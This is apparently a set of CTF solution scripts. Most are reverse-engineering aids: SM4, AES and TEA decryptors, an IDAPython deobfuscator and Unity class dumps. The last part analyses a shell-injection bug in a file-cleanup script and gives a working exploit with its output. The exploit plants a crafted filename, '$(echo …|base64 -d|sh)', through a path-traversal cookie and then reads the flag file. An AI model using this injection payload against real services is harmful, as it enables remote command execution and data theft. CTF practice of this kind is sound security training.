1
import struct
2

3
# 1. 标准 S-Box (未修改)
4
SM4_SBOX = [
5
    0xd6, 0x90, 0xe9, 0xfe, 0xcc, 0xe1, 0x3d, 0xb7, 0x16, 0xb6, 0x14, 0xc2, 0x28, 0xfb, 0x2c, 0x05,
6
    0x2b, 0x67, 0x9a, 0x76, 0x2a, 0xbe, 0x04, 0xc3, 0xaa, 0x44, 0x13, 0x26, 0x49, 0x86, 0x06, 0x99,
7
    0x9c, 0x42, 0x50, 0xf4, 0x91, 0xef, 0x98, 0x7a, 0x33, 0x54, 0x0b, 0x43, 0xed, 0xcf, 0xac, 0x62,
8
    0xe4, 0xb3, 0x1c, 0xa9, 0xc9, 0x08, 0xe8, 0x95, 0x80, 0xdf, 0x94, 0xfa, 0x75, 0x8f, 0x3f, 0xa6,
9
    0x47, 0x07, 0xa7, 0xfc, 0xf3, 0x73, 0x17, 0xba, 0x83, 0x59, 0x3c, 0x19, 0xe6, 0x85, 0x4f, 0xa8,
10
    0x68, 0x6b, 0x81, 0xb2, 0x71, 0x64, 0xda, 0x8b, 0xf8, 0xeb, 0x0f, 0x4b, 0x70, 0x56, 0x9d, 0x35,
11
    0x1e, 0x24, 0x0e, 0x5e, 0x63, 0x58, 0xd1, 0xa2, 0x25, 0x22, 0x7c, 0x3b, 0x01, 0x21, 0x78, 0x87,
12
    0xd4, 0x00, 0x46, 0x57, 0x9f, 0xd3, 0x27, 0x52, 0x4c, 0x36, 0x02, 0xe7, 0xa0, 0xc4, 0xc8, 0x9e,
13
    0xea, 0xbf, 0x8a, 0xd2, 0x40, 0xc7, 0x38, 0xb5, 0xa3, 0xf7, 0xf2, 0xce, 0xf9, 0x61, 0x15, 0xa1,
14
    0xe0, 0xae, 0x5d, 0xa4, 0x9b, 0x34, 0x1a, 0x55, 0xad, 0x93, 0x32, 0x30, 0xf5, 0x8c, 0xb1, 0xe3,
15
    0x1d, 0xf6, 0xe2, 0x2e, 0x82, 0x66, 0xca, 0x60, 0xc0, 0x29, 0x23, 0xab, 0x0d, 0x53, 0x4e, 0x6f,
16
    0xd5, 0xdb, 0x37, 0x45, 0xde, 0xfd, 0x8e, 0x2f, 0x03, 0xff, 0x6a, 0x72, 0x6d, 0x6c, 0x5b, 0x51,
17
    0x8d, 0x1b, 0xaf, 0x92, 0xbb, 0xdd, 0xbc, 0x7f, 0x11, 0xd9, 0x5c, 0x41, 0x1f, 0x10, 0x5a, 0xd8,
18
    0x0a, 0xc1, 0x31, 0x88, 0xa5, 0xcd, 0x7b, 0xbd, 0x2d, 0x74, 0xd0, 0x12, 0xb8, 0xe5, 0xb4, 0xb0,
19
    0x89, 0x69, 0x97, 0x4a, 0x0c, 0x96, 0x77, 0x7e, 0x65, 0xb9, 0xf1, 0x09, 0xc5, 0x6e, 0xc6, 0x84,
20
    0x18, 0xf0, 0x7d, 0xec, 0x3a, 0xdc, 0x4d, 0x20, 0x79, 0xee, 0x5f, 0x3e, 0xd7, 0xcb, 0x39, 0x48
21
]
22

23
# 2. 标准 CK (未修改)
24
SM4_CK = [
25
    0x00070e15, 0x1c232a31, 0x383f464d, 0x545b6269,
26
    0x70777e85, 0x8c939aa1, 0xa8afb6bd, 0xc4cbd2d9,
27
    0xe0e7eef5, 0xfc030a11, 0x181f262d, 0x343b4249,
28
    0x50575e65, 0x6c737a81, 0x888f969d, 0xa4abb2b9,
29
    0xc0c7ced5, 0xdce3eaf1, 0xf8ff060d, 0x141b2229,
30
    0x30373e45, 0x4c535a61, 0x686f767d, 0x848b9299,
31
    0xa0a7aeb5, 0xbcc3cad1, 0xd8dfe6ed, 0xf4fb0209,
32
    0x10171e25, 0x2c333a41, 0x484f565d, 0x646b7279
33
]
34

35

36
# 3. 辅助函数
37
def rotl(x, n):
38
    return ((x << n) & 0xffffffff) | ((x >> (32 - n)) & 0xffffffff)
39

40

41
def sm4_tau(x):
42
    # 非线性变换 (S-Box)
43
    a = (x >> 24) & 0xff
44
    b = (x >> 16) & 0xff
45
    c = (x >> 8) & 0xff
46
    d = x & 0xff
47
    return (SM4_SBOX[a] << 24) | (SM4_SBOX[b] << 16) | (SM4_SBOX[c] << 8) | SM4_SBOX[d]
48

49

50
# 4. 线性变换
51
def sm4_l(x):
52
    # 加密/解密用的线性变换 L
53
    # 代码中未显示 crypt_block 函数，通常只改 KeySchedule 的参数，这里假设 Encryption L 仍为标准
54
    return x ^ rotl(x, 2) ^ rotl(x, 10) ^ rotl(x, 18) ^ rotl(x, 24)
55

56

57
def sm4_l_prime(x):
58
    # 密钥扩展用的线性变换 L' (代码中的 Lp)
59
    # 代码中: v1 = a1 ^ rotl32(a1, 13); return v1 ^ (unsigned int)rotl32(a1, 23);
60
    # 这与标准 L' 一致
61
    return x ^ rotl(x, 13) ^ rotl(x, 23)
62

63

64
def sm4_t_prime(x):
65
    return sm4_l_prime(sm4_tau(x))
66

67

68
# 5. 密钥扩展 (Key Schedule) - 这里需要修改 FK
69
def sm4_key_schedule(key):
70
    # 将字节转为 32 位整数
71
    MK = struct.unpack('>4I', key)
72

73
    # ------------------ 魔改部分 ------------------
74
    # 标准 FK: [0xa3b1bac6, 0x56aa3350, 0x677d9197, 0xb27022dc]
75
    # 代码中的 FK:
76
    FK_CUSTOM = [0xA3B1BAC7, 0x56AA3352, 0x677D919A, 0xB27022E0]
77
    # ---------------------------------------------
78

79
    k = [MK[0] ^ FK_CUSTOM[0], MK[1] ^ FK_CUSTOM[1], MK[2] ^ FK_CUSTOM[2], MK[3] ^ FK_CUSTOM[3]]
80
    rk = []
81

82
    for i in range(32):
83
        temp = k[i + 1] ^ k[i + 2] ^ k[i + 3] ^ SM4_CK[i]
84
        next_k = k[i] ^ sm4_t_prime(temp)
85
        rk.append(next_k)
86
        k.append(next_k)
87

88
    return rk
89

90

91
def sm4_one_round(sk, x0, x1, x2, x3):
92
    return x0 ^ sm4_l(sm4_tau(x1 ^ x2 ^ x3 ^ sk))
93

94

95
def sm4_decrypt_block(rk, ciphertext_block):
96
    # 解密时轮密钥使用顺序相反
97
    X = struct.unpack('>4I', ciphertext_block)
98
    x = list(X)
99

100
    # SM4 解密与加密结构相同，只是轮密钥顺序相反
101
    for i in range(32):
102
        temp = sm4_one_round(rk[31 - i], x[0], x[1], x[2], x[3])
103
        x.append(temp)
104
        x.pop(0)
105

106
    # 反序输出 (R35, R34, R33, R32) -> (Y0, Y1, Y2, Y3)
107
    return struct.pack('>4I', x[3], x[2], x[1], x[0])
108

109

110
def solve():
111
    import binascii
112

113
    # 密文
114
    hex_cipher = "e35d1c09d861670051587475dba013bfe253923f8571add70f63a674dbeb8f22"
115
    ciphertext = binascii.unhexlify(hex_cipher)
116

117
    # 密钥 (之前提取的)
118
    key_ints = [1, 35, 69, 103, -119, -85, -51, -17, -2, -36, -70, -104, 118, 84, 50, 16]
119
    key = bytes([(x + 256) % 256 for x in key_ints])
120
    print(f"Key: {key.hex().upper()}")
121

122
    # 生成轮密钥
123
    rk = sm4_key_schedule(key)
124

125
    # 解密 (ECB 模式)
126
    decrypted = b""
127
    for i in range(0, len(ciphertext), 16):
128
        block = ciphertext[i:i + 16]
129
        decrypted += sm4_decrypt_block(rk, block)
130

131
    print(f"Decrypted Hex: {decrypted.hex()}")
132

133
    # 去除 Padding 并显示
134
    try:
135
        pad_len = decrypted[-1]
136
        print(f"Flag: {decrypted[:-pad_len].decode('utf-8')}")
137
    except:
138
        print("Flag (Raw):", decrypted)
139

140

141
if __name__ == "__main__":
142
    solve()

1
public class GachaManager : MonoBehaviour // TypeDefIndex: 11332
2
{
3
  // Fields
4
  [Header("1. 界面组件")]
5
  public GameObject bannerPanel; // 0x20
6
  public GameObject resultPanel; // 0x28
7
  public Button pullButton; // 0x30
8
  public TMP_Text currencyText; // 0x38
9
  public Button closeButton; // 0x40
10
  public Button exitButton; // 0x48
11
  [Header("2. 结果展示")]
12
  public GameObject startGetVideoObj; // 0x50
13
  public Image charArtImage; // 0x58
14
  [Header("3. 资源配置")]
15
  public Sprite[] trashSprites; // 0x60
16
  public Sprite zhongliSprite; // 0x68
17
  [Header("4. 加密数据")]
18
  public TextAsset encryptedFlagAsset; // 0x70
19
  private int currentStones; // 0x78
20
  private const int PRICE_PER_PULL = 1;
21
  private bool isSecretUnlocked; // 0x7C
22

23
  // Methods
24

25
  // RVA: 0x448930 Offset: 0x447730 VA: 0x180448930
26
  public static extern int MessageBox(IntPtr hWnd, string text, string caption, uint type) { }
27

28
  // RVA: 0x448F40 Offset: 0x447D40 VA: 0x180448F40
29
  private void Start() { }
30

31
  // RVA: 0x449220 Offset: 0x448020 VA: 0x180449220
32
  private void UpdateCurrencyUI() { }
33

34
  // RVA: 0x4489F0 Offset: 0x4477F0 VA: 0x1804489F0
35
  private void OnPullClicked() { }
36

37
  // RVA: 0x448BE0 Offset: 0x4479E0 VA: 0x180448BE0
38
  private void OnVideoEnd(VideoPlayer vp) { }
39

40
  // RVA: 0x448D50 Offset: 0x447B50 VA: 0x180448D50
41
  private void ShowResult() { }
42

43
  // RVA: 0x448660 Offset: 0x447460 VA: 0x180448660
44
  private Sprite DoGachaLogic() { }
45

46
  // RVA: 0x4481E0 Offset: 0x446FE0 VA: 0x1804481E0
47
  private string DecryptAES(int magicKey) { }
48

49
  // RVA: 0x448800 Offset: 0x447600 VA: 0x180448800
50
  private byte[] GenerateKey(int magicVal) { }
51

52
  // RVA: 0x4486D0 Offset: 0x4474D0 VA: 0x1804486D0
53
  private byte[] GenerateIV(int magicVal) { }
54

55
  // RVA: 0x448C60 Offset: 0x447A60 VA: 0x180448C60
56
  private void ReturnToBanner() { }
57

58
  // RVA: 0x448C20 Offset: 0x447A20 VA: 0x180448C20
59
  private void QuitGame() { }
60

61
  // RVA: 0x448CA0 Offset: 0x447AA0 VA: 0x180448CA0
62
  private void ShowMessageBox(string text, string caption) { }
63

64
  // RVA: 0x4492B0 Offset: 0x4480B0 VA: 0x1804492B0
65
  public void .ctor() { }
66
}
67

68
// Namespace:

1
import hashlib
2
from Crypto.Cipher import AES
3
import binascii
4

5
# ================= 配置区域 =================
6

7
# 1. 密文 (从 flag_data.bytes 提取)
8
# 你发的十六进制：C3 75 86 8F ...
9
hex_data = "C375868FAFFE7FAB6C6E04A923C4EAAFDE52D4AD9A7D3099F1058606A7BFE8BD"
10
encrypted_bytes = binascii.unhexlify(hex_data)
11

12
# 2. 那个神奇的数字 (从 ShowResult 0x180448D50 看到的 0x89)
13
magic_val = "137"
14

15
# 3. 密钥盐 (从 GenerateKey StringLiteral_741 看到的)
16
key_salt = "GachaSalt_Never_Gonna_Give_You_Up"
17

18
# 4. ⚠️ IV 盐 (从 GenerateIV StringLiteral_1940 看到的)
19
# 【请把这里修改成你在 IDA StringLiteral_1940 里看到的字符串！】
20
# 盲猜可能是 "GachaSalt_Never_Gonna_Let_You_Down" 或者是类似的梗？
21
# 如果猜不对，请去 IDA 双击 StringLiteral_1940 查看内容填在这里。
22
iv_salt = "ZhongLi_Come_In_And11_"
23

24

25
# ================= 解密逻辑 =================
26

27
def generate_key_or_iv(salt_str, magic_str):
28
    # 逻辑还原：MD5( salt + magic_val )
29
    raw_str = salt_str + magic_str
30
    return hashlib.md5(raw_str.encode('utf-8')).digest()
31

32

33
def decrypt():
34
    try:
35
        # 生成 Key 和 IV
36
        # Key = MD5("GachaSalt_Never_Gonna_Give_You_Up137")
37
        key = generate_key_or_iv(key_salt, magic_val)
38

39
        # IV = MD5("你的IV字符串137")
40
        iv = generate_key_or_iv(iv_salt, magic_val)
41

42
        print(f"[*] Key (Hex): {key.hex()}")
43
        print(f"[*] IV  (Hex): {iv.hex()}")
44

45
        # AES 解密 (Mode CBC)
46
        cipher = AES.new(key, AES.MODE_CBC, iv)
47
        decrypted = cipher.decrypt(encrypted_bytes)
48

49
        # 移除 Padding (PKCS7)
50
        pad_len = decrypted[-1]
51
        if pad_len < 1 or pad_len > 16:
52
            print("[!] Padding 看起来不对，可能是 IV 字符串填错了，或者是 Key 错了。")
53
            print(f"Raw Decrypt: {decrypted}")
54
        else:
55
            flag = decrypted[:-pad_len].decode('utf-8')
56
            print(f"\n🎉 FLAG: {flag}")
57

58
    except Exception as e:
59
        print(f"❌ 解密失败: {e}")
60
        print("请检查 iv_salt 变量是否填写正确！")
61

62

63
if __name__ == "__main__":
64
    decrypt()

1
import struct
2

3

4
def tea_decrypt(v0, v1, key):
5
    vi = 305419896
6
    rounds = 50
7
    s = (0 - (vi * rounds)) & 0xFFFFFFFF
8
    for _ in range(rounds):
9
        temp_sum_v_v0 = (s + v0) & 0xFFFFFFFF
10
        v1 = (v1 - ((temp_sum_v_v0 ^ (key[3] - (v0 >> 5))) ^ (key[2] + (v0 << 4)))) & 0xFFFFFFFF
11
        temp_sum_v_v1 = (s + v1) & 0xFFFFFFFF
12
        v0 = (v0 - ((temp_sum_v_v1 ^ (key[1] + (v1 >> 5))) ^ (key[0] + (v1 << 4)))) & 0xFFFFFFFF
13
        s = (s + vi) & 0xFFFFFFFF
14
    return v0, v1
15

16

17
def solve():
18
    with open('flag.enc', 'rb') as f:
19
        data = f.read()
20

21
    # 1. 提取 Key (根据 109549 字节推算的偏移)
22
    # 尝试从倒数第 29 字节提取 16 字节
23
    k_raw = data[109520: 109520 + 16]
24

25
    # 模拟内核 join1 逻辑：hex(b)[2:] 且不补零拼接
26
    k_hex_str = "".join([hex(b)[2:] for b in k_raw])
27
    # 模拟内核 by 逻辑：每 8 位切分转 int
28
    # 如果 hex 长度不够，说明 key 提取偏移可能需要微调
29
    try:
30
        k_ints = [int(k_hex_str[i:i + 8], 16) for i in range(0, 32, 8)]
31
    except:
32
        print("Key 转换失败，尝试固定偏移...")
33
        # 如果提取失败，尝试备用偏移（比如末尾 16 字节）
34
        k_raw = data[-16:]
35
        k_hex_str = "".join([hex(b)[2:] for b in k_raw])
36
        k_ints = [int(k_hex_str[i:i + 8], 16) for i in range(0, 32, 8)]
37

38
    # 2. 解密 bt 数据
39
    bt_data = data[:109520]
40
    final_plain = bytearray()
41

42
    for i in range(0, len(bt_data), 16):
43
        block = bt_data[i:i + 16]
44
        # 注意：这里必须用大端序 >I，对应 int(hex, 16)
45
        v0, v1 = struct.unpack('>2I', block[0:8])
46
        n2 = block[8:16]
47

48
        # TEA 解密
49
        d0, d1 = tea_decrypt(v0, v1, k_ints)
50

51
        # 3. 逆向 xor (这是最难的点)
52
        # 这里假设 d0, d1 是异或后的 bytes 直接转的 int
53
        # 尝试最可能的还原方式：
54
        d_bytes = struct.pack('>2I', d0, d1)
55
        plain_part = bytes([b ^ s for b, s in zip(d_bytes, n2)])
56
        final_plain.extend(plain_part)
57

58
    # 3. 保存并检查头部
59
    with open('recovered_file.bin', 'wb') as f:
60
        f.write(final_plain)
61

62
    print(f"解密完成！前 8 字节为: {final_plain[:8].hex()}")
63
    print(f"尝试解析为字符串: {final_plain[:16].decode(errors='ignore')}")
64

65

66
if __name__ == "__main__":
67
    solve()

1
# IDAPython (IDA 9.1, x64)
2
# Remove "call + add [rsp], imm + ret" flowers by patching call->jmp real dest.
3

4
import idaapi
5
import idautils
6
import ida_bytes
7
import ida_ua
8
import ida_idp
9
import ida_auto
10
import idc
11

12
# ====== 配置 ======
13
PATCH_CALL_TO_JMP = True     # 推荐：把 call 改成 jmp 真落点
14
FORCE_CODE_AT_DEST = True    # 推荐：在落点强制创建指令
15
NOP_SKIPPED_RANGE = False    # 谨慎：把 call_end..dest NOP 掉（可能误伤被复用 stub）
16
LIMIT_TO_TEXT = True
17
DEBUG_PRINT = True
18

19
def _decode(ea):
20
    insn = ida_ua.insn_t()
21
    if ida_ua.decode_insn(insn, ea) == 0:
22
        return None
23
    return insn
24

25
def _mnem(ea):
26
    return idc.print_insn_mnem(ea).lower()
27

28
def _is_call_rel32(insn):
29
    # 只处理 E8 rel32 (size=5)
30
    try:
31
        return (_mnem(insn.ea) == "call" and insn.size == 5 and ida_bytes.get_byte(insn.ea) == 0xE8)
32
    except Exception:
33
        return False
34

35
def _get_call_target(ea):
36
    # call 目的地址
37
    return idc.get_operand_value(ea, 0)
38

39
def _op(insn, idx):
40
    # IDA 9.x: insn.ops 是一个 op_t 数组，后面会有 o_void
41
    return insn.ops[idx]
42

43
def _is_add_rsp_imm_and_ret(stub_ea):
44
    """
45
    匹配：
46
        add [rsp], imm
47
        ret/retn
48
    返回 (skip, ret_ea) 或 None
49
    """
50
    insn1 = _decode(stub_ea)
51
    if not insn1 or _mnem(stub_ea) != "add":
52
        return None
53

54
    op0 = _op(insn1, 0)
55
    op1 = _op(insn1, 1)
56

57
    # op0: [rsp] 或 [rsp+0]（IDA 可能用 stack var 展示，但内部一般会归约到 disp=0）
58
    if op0.type not in (ida_ua.o_phrase, ida_ua.o_displ):
59
        return None
60

61
    rsp_reg = ida_idp.str2reg("rsp")
62
    if op0.reg != rsp_reg:
63
        return None
64

65
    if op0.type == ida_ua.o_displ:
66
        # 要求最终位移为 0（顶栈）
67
        disp = idc.as_signed(op0.addr, 64)
68
        if disp != 0:
69
            return None
70

71
    # op1: immediate
72
    if op1.type != ida_ua.o_imm:
73
        return None
74
    skip = op1.value & 0xFFFFFFFFFFFFFFFF
75

76
    ret_ea = stub_ea + insn1.size
77
    if _mnem(ret_ea) not in ("ret", "retn"):
78
        return None
79

80
    return skip, ret_ea
81

82
def _patch_call_to_jmp(call_ea, dest_ea):
83
    # call (E8 rel32) -> jmp (E9 rel32)
84
    rel = dest_ea - (call_ea + 5)
85
    # rel32 可达性检查
86
    if not (-0x80000000 <= rel <= 0x7FFFFFFF):
87
        return False
88
    ida_bytes.patch_byte(call_ea, 0xE9)
89
    ida_bytes.patch_dword(call_ea + 1, rel & 0xFFFFFFFF)
90
    return True
91

92
def _force_code(ea, span=0x80):
93
    # 清掉可能的 dw/dq/data 定义，再从 ea 强制建指令
94
    try:
95
        ida_bytes.del_items(ea, ida_bytes.DELIT_EXPAND, span)
96
    except Exception:
97
        try:
98
            ida_bytes.del_items(ea, ida_bytes.DELIT_SIMPLE, 1)
99
        except Exception:
100
            pass
101
    idc.create_insn(ea)
102

103
def main():
104
    if LIMIT_TO_TEXT:
105
        seg = idaapi.get_segm_by_name(".text")
106
    else:
107
        seg = None
108

109
    if seg:
110
        start_ea, end_ea = seg.start_ea, seg.end_ea
111
    else:
112
        start_ea = idaapi.inf_get_min_ea()
113
        end_ea = idaapi.inf_get_max_ea()
114

115
    hits = []
116

117
    for ea in idautils.Heads(start_ea, end_ea):
118
        if not ida_bytes.is_code(ida_bytes.get_full_flags(ea)):
119
            continue
120

121
        insn = _decode(ea)
122
        if not insn:
123
            continue
124

125
        if not _is_call_rel32(insn):
126
            continue
127

128
        call_tgt = _get_call_target(ea)
129
        if call_tgt in (None, idaapi.BADADDR) or call_tgt == 0:
130
            continue
131

132
        stub = _is_add_rsp_imm_and_ret(call_tgt)
133
        if not stub:
134
            continue
135

136
        skip, _ = stub
137
        call_end = ea + insn.size
138
        dest = call_end + skip
139

140
        hits.append((ea, call_tgt, skip, dest))
141

142
    if DEBUG_PRINT:
143
        print("[*] Found %d flower-call patterns" % len(hits))
144

145
    fixed = 0
146
    for (call_ea, stub_ea, skip, dest) in hits:
147
        try:
148
            idc.set_cmt(call_ea, f"deobf: call+ret-skip({skip}) -> jmp {dest:#x} (stub {stub_ea:#x})", 0)
149
        except Exception:
150
            pass
151

152
        ok = True
153
        if PATCH_CALL_TO_JMP:
154
            ok = _patch_call_to_jmp(call_ea, dest)
155

156
        if ok and NOP_SKIPPED_RANGE:
157
            call_end = call_ea + 5
158
            for b in range(call_end, dest):
159
                ida_bytes.patch_byte(b, 0x90)
160

161
        if ok and FORCE_CODE_AT_DEST:
162
            _force_code(dest)
163

164
        if ok:
165
            fixed += 1
166

167
    ida_auto.auto_wait()
168
    print("[+] Patched %d sites" % fixed)
169

170
if __name__ == "__main__":
171
    main()

1
<?xml version='1.0' encoding='utf-8' standalone='yes' ?>
2
<map>
3
    <int name="Screenmanager%20Fullscreen%20mode" value="1" />
4
    <string name="qq">7BjmxPdisk48gNHuKMdiDWKtiHddti1ws4BmsBx%2FqlT7SNdMKQwmL60RwdQRoT891IIT8tQOCZ46QB4%2BGS7MCQ%3D%3D</string>
5
    <string name="password">RYRD6ynl7FIwWMBvqbYqqdZsdY0flsscqhzplZWfSCmEigmxaDnnqoZ8eZoN%2Fh7%2FrYNb9q%2FRKYt03qmKEG8g5SrUbhgMIAI%2FldoE1U3xzzY%3D</string>
6
    <int name="Screenmanager%20Resolution%20Height" value="1920" />
7
    <string name="nickname">UnictfPlayer</string>
8
    <int name="__UNITY_PLAYERPREFS_VERSION__" value="1" />
9
    <int name="Screenmanager%20Resolution%20Width" value="1080" />
10
</map>

1
seed =
2
  ( (uint64)( (int64)(dVar4/len) & 0xffff ) << 32 ) |
3
  ( (uint64)( (int64)(len*0.16) ) << 48 ) |
4
  ( (uint64)( (int64)(2*dVar3/len) & 0xffff ) << 16 ) |
5
  ( (uint64)( (int64)(2*dVar2/len) & 0xffff ) );

1
seed = seed * 0x5851f42d4c957f2d + 0x14057b7ef767814f;
2
out[i] = mem[0x400+i] ^ (seed >> 56);   // 取 seed 的最高字节当 keystream

1
def cleanup_illegal_files(self):
2
    for fname in self.scan_results['illegal_file_list']:
3
        # ⚠️ 致命漏洞：直接将文件名拼接到 shell 命令中
4
        delete_cmd = f"rm -f {self.base_dir}/{fname}"
5

6
        # ⚠️ 开启了 shell=True，允许执行 Shell 命令
7
        subprocess.run(delete_cmd, shell=True, ...)

1
rm -f ./$(cat /flag > flag.txt)

1
import requests
2
import time
3
import zipfile
4
import io
5
import base64
6

7
# 题目地址
8
url = "http://nc1.ctfplus.cn:24460"
9

10
# --- 1. 构造 Base64 Payload ---
11
# 原始命令：将 flag 写入 flag.txt
12
raw_cmd = "cat /flag > flag.txt"
13
# 编码为 base64 (去除换行符)
14
b64_cmd = base64.b64encode(raw_cmd.encode()).decode()
15

16
# 检查 base64 中是否有 '/' (Go path.Join 会将其识别为目录分隔符，导致失败)
17
if "/" in b64_cmd:
18
    print("[!] Warning: Base64 contains '/'. Trying to pad command...")
19
    # 简单的填充技巧：在命令末尾加空格，改变 base64 结果
20
    raw_cmd += " "
21
    b64_cmd = base64.b64encode(raw_cmd.encode()).decode()
22

23
print(f"[*] Raw Command: {raw_cmd}")
24
print(f"[*] Base64:      {b64_cmd}")
25

26
# 构造文件名 Payload：利用 $() 在 rm 命令执行前先执行我们的代码
27
# 文件名: $(echo BASE64...|base64 -d|sh)
28
# 这个文件名合法（无 /），但执行效果等同于原命令
29
payload_filename = f"$(echo {b64_cmd}|base64 -d|sh)"
30
cookie_payload = f"../{payload_filename}"
31

32
# 构造 Header (使用字典设置 Cookie，requests 会正确处理)
33
headers = {
34
    "Cookie": f"session={cookie_payload}"
35
}
36

37
print(f"[*] Target: {url}")
38

39
# --- 2. 触发文件创建 ---
40
print("\n[1] Sending malicious cookie (Create File)...")
41
try:
42
    # 这一步会在服务器创建名为 $(echo ...|sh) 的文件
43
    # 文件名中没有 /，所以 os.OpenFile 会成功
44
    requests.get(url, headers=headers, timeout=5)
45
    print("    [+] Trigger request sent.")
46
except Exception as e:
47
    print(f"    [!] Error: {e}")
48

49
time.sleep(1)
50

51
# --- 3. 触发命令执行 ---
52
print("\n[2] Triggering check.py (Execute File)...")
53
try:
54
    # check.py 执行: rm -f ./$(echo ...|sh)
55
    # Shell 先执行 $() 里的解码和执行命令，然后再 rm
56
    r = requests.get(f"{url}/check", timeout=5)
57
    if "Integrity Check Results" in r.text:
58
        print("    [+] Integrity check triggered.")
59
    else:
60
        print(f"    [!] Warning: Unexpected status {r.status_code}")
61
except Exception as e:
62
    print(f"    [!] Error: {e}")
63

64
time.sleep(1)
65

66
# --- 4. 下载 Flag ---
67
print("\n[3] Downloading result...")
68
try:
69
    # 下载 zip 包检查 flag.txt 是否生成
70
    r = requests.get(f"{url}/download", stream=True)
71
    if r.status_code == 200:
72
        with zipfile.ZipFile(io.BytesIO(r.content)) as z:
73
            file_list = z.namelist()
74
            print(f"    [+] Zip content: {file_list}")
75

76
            if "flag.txt" in file_list:
77
                flag = z.read("flag.txt").decode().strip()
78
                print("\n" + "★" * 40)
79
                print(f"FLAG: {flag}")
80
                print("★" * 40)
81
            else:
82
                print("\n[-] flag.txt not found. Check if /flag exists or permissions.")
83
    else:
84
        print(f"    [-] Download failed: {r.status_code}")
85
except Exception as e:
86
    print(f"    [-] Error: {e}")

1
[*] Raw Command: cat /flag > flag.txt
2
[*] Base64:      Y2F0IC9mbGFnID4gZmxhZy50eHQ=
3
[*] Target: http://nc1.ctfplus.cn:24460
4

5
[1] Sending malicious cookie (Create File)...
6
    [+] Trigger request sent.
7

8
[2] Triggering check.py (Execute File)...
9
    [+] Integrity check triggered.
10

11
[3] Downloading result...
12
    [+] Zip content: ['$(echo Y2F0IC9mbGFnID4gZmxhZy50eHQ=|base64 -d|sh)', 'Uni_check', 'check.py', 'flag.txt']
13

14
★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★
15
FLAG: UniCTF{4b5735f4-174d-418c-b563-42950013c718}
16
★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★
17

18
进程已结束，退出代码为 0